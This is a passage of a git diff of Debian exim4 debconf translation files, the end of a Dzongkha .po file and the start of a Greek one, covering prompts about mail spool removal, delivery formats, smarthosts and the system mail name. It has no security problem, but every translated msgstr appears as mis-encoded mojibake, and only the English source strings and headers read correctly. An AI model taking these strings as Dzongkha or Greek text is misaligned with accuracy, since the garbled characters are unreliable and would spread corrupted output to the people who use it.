རིམ་ལུགས་མ་འདྲ་བའི་གུ་བཟོ་བà½à½¼à½“་འབད་ཡོད་པ་འབད་འབྱུང་བཅུག་ནི་ལུ་ " +"ལོག་བྲིས་བà½à½´à½–་ཨིན༠གདམ་à½à¼‹à½ དི་གདམ་à½à¼‹à½–རà¾à¾±à½–ས་ཡོད་པ་ཅིན་ \"${mailname}\"དང་ \"localhost\" " +"དེ་ལས་ \"${dc_other_hostnames}\"ཚུ་ ལན་གསལ་དང་གà½à½„་མི་ དེ་ལས་ Return-Path ཚུ་བསà¾à¾±à½¢à¼‹" +"བྲིས་འབདà½à¼‹à½¨à½²à½“à¼" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox format in /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "à½à¾±à½²à½˜à¼‹à½‚ྱི་སྣོད་à½à½¼à¼‹à½“ང་ ཡིག་འཕྲིན་སྣོད་à½à½¼à½ ི་རྩ་སྒྲིག" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "ཉེ་གནས་ཡིག་འཕྲིན་གྱི་དོན་ལུ་ འགྲེམ་སྤེལ་à½à½–ས་ལམ་:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"ཨེག་ཟིམ་ལུ་ ཉེ་གནས་ལུ་སྦེ་འགྲེམ་སྤེལ་འབད་ཡོད་པའི་གློག་འཕྲིན་འདི་ རྩ་སྒྲིག་སོ་སོར་ནང་ལུ་གསོག་འཇོག་་འབད་ནི་" +"གི་ལྕོགས་གྲུབ་ཡོདཔ་ཨིན༠à½à½´à½“་མོང་དུ་ལག་ལེན་འà½à½–་ནི་ཡོད་མི་ཚུ་ mbox དང་ Maildir གཉིས་ཨིན༠mbox " +"གིས་ /var/mail/ནང་གསོག་འཇོག་འབད་ཡོད་པའི་ཡིག་འཕྲིན་སྣོད་འཛིན་ཡོངས་རྫོགས་ཀྱི་དོན་ལུ་ ཡིག་སྣོད་རà¾à¾±à½„་པ་" +"ཅིག་ལག་ལེན་འà½à½–་ཨིན༠Maildir རྩ་སྒྲིག་གི་à½à½¼à½‚་ལས་ འཕྲིན་དོན་རེ་རེ་བཞིན་དུ་ ~/Maildir/ནང་འབད་ " +"ཡིག་སྣོད་སོ་སོ་ནང་གསོག་འཇོག་འབད་བཞག་འོང་à¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"ཌི་བི་ཡཱན་ནང་གི་ཡིག་འཕྲིན་ལག་ཆས་མང་ཤོས་ཀྱིས་ སྔོན་སྒྲིག་ནང་ mbox འབད་ནིའི་དོན་ལུ་ ཉེ་གནས་འགྲེམ་སྤེལ་" +"à½à½–ས་ལམ་ རེ་བ་བསà¾à¾±à½ºà½‘པ་ཨིནà¼" + +#~ msgid "Overwrite existing /etc/aliases?" +#~ msgstr "ད་ལྟོ་ཡོད་མི་/etc/aliasesདེ་ཚབ་སྲུང་འབད་ནི་ཨིན་ན?" + +#~ msgid "" +#~ "An /etc/aliases file was found on the system, but it does not redirect " +#~ "mail for root to a user account, which is strongly recommended." +#~ msgstr "" +#~ "/etc/aliases file འདི་རིམ་ལུགས་གུ་མà½à½¼à½„་ཡི་ དེ་འབདà½à¼‹à½‘་ ངོ་འབྱོར་སྒྲིང་སྒྲིང་འབད་ཡོད་པའི་ཡིག་" +#~ "འཕྲིན་དེ་ རྩ་བའི་ནང་ལས་ལག་ལེན་པའི་རྩིས་à½à½¼à¼‹à½£à½´à¼‹à½£à½¼à½‚་བཀོད་རྒྱ་མི་བྱིནམ་ཨིནà¼" + +#, fuzzy +#~ msgid "" +#~ "Accepting this option will cause /etc/aliases to be overwritten, and the " +#~ "old file will be renamed to aliases.O." +#~ msgstr "" +#~ "གདམ་à½à¼‹à½‘ང་ལེན་འབད་མི་འདི་གིས་ /etc/aliases འདི་ཚབ་སྲུང་འབད་བཅུགཔ་ཨིནམ་དང་ ཡིག་སྣོད་རྙིངམ་" +#~ "འདི་ཡང་ aliases.O ལུ་བསà¾à¾±à½¢à¼‹à½˜à½²à½„་བà½à½‚ས་à½à½ºà¼‹à½–ཞག་འོང་à¼" + +#~ msgid "Move undelivered mails from exim(v3) to exim4 spool?" +#~ msgstr "" +#~ "ད་ལྟོ་ཡང་མ་བསà¾à¾±à½ºà½£à¼‹à½–་ཡོད་མི་ཡཡིག་འཕྲིན་ཚུ་ exim(v3)ནང་ལས་ ཨེག་ཟིམ་༤་འཕྲལ་གསོག་ལུ་སྤོ་བཤུད་འབད་" +#~ "ནི་ཨིན་ན་?" + +#~ msgid "" +#~ "There are some undelivered mails in exim(v3) (or exim-tls(v3)) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "exim(v3) (or exim-tls(v3)) འགྲེམ་སྤེལ་སྣོད་à½à½¼à¼‹ /var/spool/exim/input/ ནང་ལུ་ འགྲེམ་" +#~ "སྤེལ་མ་འབད་མི་ཡིག་་འཕྲིན་དང་པ་ཅིག་ཡོདà¼" + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "གདམ་à½à¼‹à½‚དམ་མི་འདི་གིས་ འཕྲིན་དོན་འདི་ཚུ་ exim4 གིས་ལེགས་སà¾à¾±à½¼à½„་འà½à½–་ནི་ཨིན་པའི་exim4'གི་ དཀྲི་" +#~ "ཤིང་ (/var/spool/exim4/input/) ནང་སྤོ་འོང་à¼" + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle exim(v3) spool but not vice-" +#~ "versa. You should move the messages only if you do not plan to go back to " +#~ "exim(v3). Otherwise, the messages should be moved manually at a later " +#~ "time." +#~ msgstr "" +#~ "འདི་à½à½–ས་ལམ་གཅིག་གི་à½à½¼à½‚་ལུ་རà¾à¾±à½„མ་ཅིག་ལཱ་འབདà½à¼‹à½¨à½²à½“་: Exim4 གིས་ exim(v3) དཀྲི་ཤིང་འདི་ལེགས་" +#~ "སà¾à¾±à½¼à½„་འà½à½–་བà½à½´à½–་ དེ་འབདà½à¼‹à½‘་ ཕན་ཚུན་གཉིས་མཚུངས་མེན༠à½à¾±à½¼à½‘་ exim(v3)ལུ་ལོག་འགྱོ་ནི་གི་འཆར་གཞི་མ་" +#~ "སྒྲིག་པ་ཅིན་རà¾à¾±à½„མ་ཅིག་ འཕྲིན་དོན་ཚུ་སྤོ་བཤུད་འབད་དགོ དེ་མེན་པ་ཅིན་ འཕྲིན་དོན་ཚུ་ཤུལ་ལས་ ལག་à½à½¼à½‚་ལས་" +#~ "སྤོ་བཤུད་འབད་དགོཔ་ཨིནà¼" + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "à½à½¼à¼‹à½¡à½²à½‚་སྟོངམ་འབད་བཞག་མི་འདི་གིས་ ཨེག་ཟིམ་གྱིས་ཉེ་གནས༌་འགྲེམ་སྤེལ་མི་འབདà¼" + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "འདི་གིས་à½à½–ས་ལམ་གཅིག་གི་à½à½¼à½‚་་ལས་་རà¾à¾±à½„མ་ཅིག་གཡོག་བཀོལ་བà½à½´à½–་ཨིན༠ཨེག་ཟིམ་༤་གིས་ ཨེག་ཟིམ་(à½à½²à¼‹à¼£à¼‹)" +#~ "གི་འཕྲལ་གསོག་ལེགས་བསà¾à¾±à½¼à½„་འà½à½–་ཚུགས་ དེ་འབདà½à¼‹à½‘་ à½à½–ས་ལམ་གཞན་གྱིས་à½à½¼à½‚་ལས་མེནà¼" + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཀྱིས་ ཨེག་ཟིམ་(à½à½²à¼‹à¼£à¼‹)ལུ་ ལོག་འགྱོ་ནི་འཆར་གཞི་མེད་པ་ཅིན་རà¾à¾±à½„མ་ཅིག་ ཡིག་འཕྲིན་ཚུ་སྤོ་བཤུད་འབད༠" +#~ "དེ་མེན་པ་ཅིན་ ཡིག་འཕྲིན་དེ་ད་ལྟོ་སྤོ་བཤུད་འབད་ནི་མི་འོང་ དེ་འབདà½à¼‹à½‘་ à½à¾±à½¼à½‘་ཀྱིས་à½à¾±à½¼à½‘་རའི་གཞི་སྒྲིག་དེ་" +#~ "ཚར་ཅིག་གཞི་བསྒྱུར་འབད་ཞིནམ་ལས་ ལག་à½à½¼à½‚་ལས་སྤོ་བཤུད་འབད་དགོཔ་ཨིནà¼" + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "དེ་ལས་མངམ་ཡོད་པ་ཅིན་ དེ་ཚུ་སེ་མི་ཀོ་ལཱོན་ཚུ་གིས་ སོ་སོ་à½à¼‹à½ ཕྱལ་བའི་à½à½¼à½‚་ལས་ ནཱ་ལུ་བཙུགས༠གཅིག་ཡང་" +#~ "མེད་པ་ཅིན་ འདི་སྟོངམ་སྦེ་བཞག་རུང་བà½à½´à½–à¼" + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "རིམ་ལུགས་འདི་གིས་ ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་ཨིན་མི་ ཌོ་མེན་ཚུ་ནཱ་ལུ་བཙུགས་གནང་༠དེ་ཡང་དཔེར་ན་ " +#~ "གློ་འབུར་རྒྱབ་à½à½‚་ ཨེམ་ཨེགསི་ ཡང་ན་ ཡིག་འཕྲིན་འཛུལ་སྒོ་ལྟ་བུà¼" + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "འདི་བཟུམ་མའི་ཌོ་མེན་ཚུ་ à½à¾±à½¼à½‘་ཀྱིས་ ཨིན་ཊར་ནེཊི་གུར་ཡིག་འཕྲིན་ཚུ་ག་སྟེ་ལས་ཡང་དང་ལེན་འབད་ནི་ལུ་གྲ་" +#~ "སྒྲིག་འབད་ཡོད་པའི་ ཌོ་མེན་ཚུ་ཨིན༠ཉེ་ངནས་ཀྱི་ཌོ་མེནསི་ཚུ་ ནཱ་ལུ་བཀོད་མི་དགོ" + +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཀྱིས་ནཱ་ལུ་བཙུགས་ཡོད་མི་ཌོ་མེནསི་དེ་ སེ་མི་ཀོ་ལཱོན་ཚུ་གིས་ སོ་སོ་འཕྱལ་དགོཔ་ཨིན༠à½à¼‹à½¡à½²à½£à½Œà½²à¼‹à½€à½Œà½²à¼‹à½šà½´à¼‹ " +#~ "ལག་ལེན་འà½à½–à¼" + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཀྱིས་ ཕྱིར་གà½à½„་ཡིག་འཕྲིན་ནང་ལུ་ཉེ་གནས་ཡིག་འཕྲིན་གྱི་མིང་སྦ་བཞག་ནི་དེ་ནུས་ཅན་བཟོ་ཞིནམ་ལས་ཚུར་ " +#~ "ཉེ་གནས་ལག་ལེན་པ་ཚུ་གི་ནང་ལས་ ཡིག་འཕྲིན་གྱི་ལག་ལེན་འà½à½–་མི་ ཌོ་མེན་མིང་དེ་གསལ་བཀོད་འབད་དགོཔ་" +#~ "ཨིན; འ་ནི་འདི་ སྤྱིར་གà½à½„་à½à¾±à½¼à½‘་ཀྱི་ཡིག་འཕྲིན་འà½à½¼à½–་སའི་གློག་འཕྲུལ་ མà½à½´à½“་མོངས་མ་ཡིན་པ་ཅིག་ཨིནà¼" + +#~ msgid "Where will your users read their mail?" +#~ msgstr "à½à¾±à½¼à½‘་ཀྱི་ལག་ལེན་པ་ཚུ་གིས་ ཡིག་འཕྲིན་ག་སྟེ་ལྷག་དོ་ཡོདཔ་ཨིན་ན?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "ཧོསཊི་ (སྤུ་བསྒྱིར་དྲག་ཡོད་མི་ཧོས་ཊི་)འདི་གི་དོན་ལུ་ གློག་འཕྲུལ་ལེགས་སà¾à¾±à½¼à½„་ཕྱིར་གà½à½„་གི་ཡིག་འཕྲིན:" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "ཕྱིར་གà½à½„་ཡིག་འཕྲིན་གà½à½„་མི་ གློག་འཕྲུལ་གྱི་ཧོསཊི་མིང་དེ་à½à½¼à¼‹à½–ཀོད་འབདà¼" + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཌ་ཡེལ་-ཨོན-མà½à½¼à¼‹à½ དོད་ལག་ལེན་འà½à½–་དོ་ཡོདཔ་ཨིན་པ་ཅིན་ à½à¾±à½‘་རྣམ་འདི་ལྕོགས་ཅན་བཟོ;དེ་མེན་པ་ཅིན་ " +#~ "འདི་ལྕོགས་མིན་བཟོà¼" + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་རའི་དགོས་མà½à½¼à¼‹à½‘ང་ ཡང་དག་སྦེ་མà½à½´à½“་མི་ ཡིག་འཕྲིན་སར་བར་རིམ་སྒྲིག་གྱི་དབྱེ་བ་དེ་ སེལ་འà½à½´à¼‹à½ བདà¼" + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "à½à¾±à½¼à½‘་རང་ངེས་à½à½²à½‚་མེད་པ་ཅིན་ à½à¾±à½¼à½‘་ཀྱིས་རིམ་སྒྲིག་གཤག་ནི་དེ་ལག་ལེན་་འà½à½–་ནང་མེད་འོང་à¼" + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "ལག་རྩལ་གྱི་à½à½¼à½‚་ལས་བཟོ་མི་ ཨེག་ཟིམ་ à½à½²à¼‹à¼£à¼‹ རིམ་སྒྲིག་ནང་ལས་ ལག་à½à½¼à½‚་ལས་གཞི་བསྒྱུར་འབདà¼" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "ཨེག་ཟིམ་༤་་ལག་à½à½¼à½‚་ལས་རིམ་སྒྲིག་འབད་ནི་ཨིན་ན?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཀྱིས་ ལག་རྩལ་གྱི་à½à½¼à½‚་ལས་བཟོ་ཡོད་པའི་ ཨེག་ཟིམ་༣་རིམ་་སྒྲིག་ཅིག་à½à¾±à½¼à½‘་ལུ་ཡོད་པའི་བརྡ་སྟོན་ཡི༠ཨེག་" +#~ "ཟིམ་འདི་གཞི་བསྒྱུར་འབད་ནིའི་དོན་ལུ་ གཞི་བཙུགས་ཀྱི་ཤུལ་ལས་ à½à¾±à½¼à½‘་ཀྱིས་ ཨེག་ཟིམ་_གཞི་བསྒྱུར་༤་ཨཱར་(༨)" +#~ "ལག་ཆས་དེ་ལག་ལེན་འà½à½–་ཚུགས༠/usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!དེ་ལུ་གྲོས་བསྟུན་འབདà¼" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་རའི་ཡིག་འཕྲིན་རིམ་ལུགས་དེ་ རིམ་སྒྲིག་མ་འབད་ཚུན་ཚོད་ འ་ནི་དེ་་ཆད་པ་སྦེ་སྡོད་དེ་ ལག་ལེན་འà½à½–་མི་" +#~ "ཚུགསà¼" + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཀྱི་\"mail name\" དེ་ བསà¾à¾±à½¢à¼‹à½ བྲི་འབད་ནི་དང་གཅིག་à½à½¢à¼‹à½¦à¾¦à¼‹à½˜à¼‹à½–ཞག་ཚུན་ཚོད་ (following " +#~ "the username and @ sign) ཕྱིར་གà½à½„་གནས་ཚུལ་དང་ཡིག་འཕྲིན་གྱི་འཕྲིན་དོན་གུར་སྟོན་ནི་གི་ à½à¼‹à½–ྱང་" +#~ "དེ་གི་ཧོསི་མིང་གི་ཡན་ལག་ལག་ཨིནà¼" + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "à½à¾±à½¼à½‘་ཀྱིས་ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་གི་དོན་ལུ་དང་ལེན་འབད་མི་གི་ ཉེ་གནས་གློག་འཕྲུལ་ཚུ་གི་ ཡོངས་འབྲེལ་" +#~ "དེ་ནཱ་ལུ་བཙུགས་གནང་à¼" + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "འདི་ནང་ལུ་ ང་བཅས་ཚུ་སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསི་ཊི་སྦེ་ལག་ལེན་འà½à½–་ནི་ཨིན་མིའི་ གློག་འཕྲལ་ཆ་མཉམ་གྱི་" +#~ "à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ གྲངས་སུ་བཙུགས་དགོ" + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "ཨའི་པི་à½à½²à¼‹à¼¦à¼‹à½à¼‹à½–ྱང་ནང་ལུ་ à½à¾±à½¼à½‘་ཀྱིས་ཀོ་ལཱོན་ཚུ་ལོག་བà½à½–་བརà¾à¾±à½–་དགོཔ་ཨིན༠(དཔེ་འབད་བ་ཅིན་ " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "ཉན་ནིའི་དོན་ལུ་ ཨའི་པི་-à½à¼‹à½–ྱང་ཚུ་གི་ སོ་སོ་à½à¼‹à½•à¾±à½ºà¼‹à½¡à½¼à½‘་པའི་ཀོ་ལཱོན་ཅིག་བཙུགས༠à½à¾±à½¼à½‘་ཀྱིས་IPv6 à½à¼‹à½–ྱང་ཚུ་" +#~ "ནང་ལུ་ ཀོ་ལཱོན་ལོག་བà½à½–་བརà¾à¾±à½–་དགོཔ་ཨིན༠(དཔེ་འབད་བ་ཅིན་ 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "རིམ་སྒྲིག་གི་ཨེག་ཟིམ་ à½à½²à¼‹à¼¤à¼‹(ཨེག་ཟིམ་༤་-རིམ་སྒྲིག)" diff --git a/debian/po/el.po b/debian/po/el.po new file mode 100644 index 0000000..cf9f79c --- /dev/null +++ b/debian/po/el.po @@ -0,0 +1,668 @@ +# translation of exim4_debian_po_el.po to Greek +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# Konstantinos Margaritis <markos@debian.org>, 2003, 2004. +# Greek Translation Team <debian-l10n-greek@lists.debian.org>, 2005. +# QUAD-nrg.net <yodesy@quad-nrg.net>, 2006. +# quad-nrg.net <yodesy@quad-nrg.net>, 2008. +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian_po_el\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-08-26 12:34+0300\n" +"Last-Translator: quad-nrg.net <yodesy@quad-nrg.net>\n" +"Language-Team: Greek <debian-l10n-greek@lists.debian.org>\n" +"Language: el\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "ΔιαγÏαφή των μηνυμάτων στον κατάλογο spool που δεν Îχουν παÏαδοθεί;" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"ΥπάÏχουν μηνÏματα στον κατάλογο spool του Exim /var/spool/exim4/input/ που " +"δεν Îχουν παÏαδοθεί ακόμη. Η αφαίÏεση του Exim θα Îχει σαν αποτÎλεσμα την μη " +"παÏάδοσή τους μÎχÏι την επανεγκατάστασή του." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Αν δεν κάνετε αυτή την επιλογή, ο κατάλογος spool θα διατηÏηθεί, " +"επιτÏÎποντας την παÏάδοση των μηνυμάτων που βÏίσκονται στην ουÏά σε μια " +"μεταγενÎστεÏη χÏονική στιγμή, μετά την επανεγκατάσταση του Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Îα γίνει επαναÏÏθμιση του exim4-config αντί Î±Ï…Ï„Î¿Ï Ï„Î¿Ï… πακÎτου" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Η ÏÏθμιση του Exim4 γίνεται με Îνα συγκεκÏιμÎνο πακÎτο ειδικά για τον σκοπό " +"αυτό, το exim4-config. Για να επαναÏυθμίσετε το Exim4, χÏησιμοποιήστε την " +"εντολή 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "δικτυακός τόπος (internet) - λήψη και αποστολή μÎσω SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "αλληλογÏαφία με χÏήση smarthost - λήψη μÎσω SMTP ή fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "αλληλογÏαφία με χÏήση smarthost - χωÏίς τοπική παÏάδοση αλληλογÏαφίας" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "τοπική αλληλογÏαφία μόνο - χωÏίς δίκτυο" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "χωÏίς ÏÏθμιση Ï€Ïος το παÏόν" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Γενικός Ï„Ïπος ÏÏθμισης αλληλογÏαφίας:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"ΠαÏακαλώ επιλÎξτε την ÏÏθμιση του εξυπηÏετητή αλληλογÏαφίας που καλÏπτει " +"καλλίτεÏα τις ανάγκες σας." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Συστήματα με δυναμικÎÏ‚ διευθÏνσεις IP, όπως συστήματα κλήσης (dialup), θα " +"Ï€ÏÎπει γενικά να ÏυθμθιστοÏν να αποστÎλλουν για παÏάδοση την εξεÏχόμενη " +"αλληλογÏαφία τους σε Îνα άλλο σÏστημα, γνωστό και ως 'smarthost', γιατί " +"πολλά συστήματα στο Διαδίκτυο που δÎχονται αλληλογÏαφία μπλοκάÏουν αυτήν που " +"Ï€ÏοÎÏχεται από μηχανήματα με δυναμικÎÏ‚ διευθÏνσεις σαν μÎÏ„Ïο Ï€Ïοστασίας από " +"το spam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Ένα σÏστημα με δυναμική διεÏθυνση IP μποÏεί να λαμβάνει την δική του " +"αλληλογÏαφία, ή μποÏείτε να απενεÏγοποιήσετε εντελώς την τοπική παÏάδοση " +"αλληλόγÏαφίας (εκτός από αυτήν για τον χÏήστη root και τον χÏήστη " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "ΘÎλετε σίγουÏα να αφήσετε το σÏστημα χωÏίς ÏÏθμιση;" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ÎœÎχÏι να Ïυθμιστεί το σÏστημα αλληλογÏαφίας σας, δεν θα είναι λειτουÏγικό " +"και δεν θα μποÏεί να χÏησιμοποιηθεί. Η ÏÏθμισή του σε μια μεταγενÎστεÏη " +"στιγμή μποÏεί να γίνει είτε με το χÎÏι είτε εκτελώντας την εντολή 'dpkg-" +"reconfigure exim4-config' ως χÏήστης root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Όνομα διακομιστή αλληλογÏαφίας:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Η παÏάμετÏος 'mail name' είναι το όνομα τομÎα που χÏησιμοποιείται για την " +"'Ï€ÏόκÏιση' ως αποδεκτών διευθÏνσεων αλληλογÏαφίας που δεν Îχουν οι ίδιες Îνα " +"όνομα τομÎα." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Το όνομα αυτό θα χÏησιμοποιηθεί επίσης και από άλλα Ï€ÏογÏάμματα. Θα Ï€ÏÎπει " +"να είναι το μοναδικό, πλήÏως ÎγκÏιτο όνομα τομÎα (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Έτσι, αν μια διεÏθυνση αλληλογÏαφίας στο τοπικό σÏστημα είναι foo@example." +"org, τότε η σωστή τιμή για την επιλογή αυτή θα Ï€ÏÎπει να είναι example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Το όνομα αυτό δεν θα εμφανίζεται στις 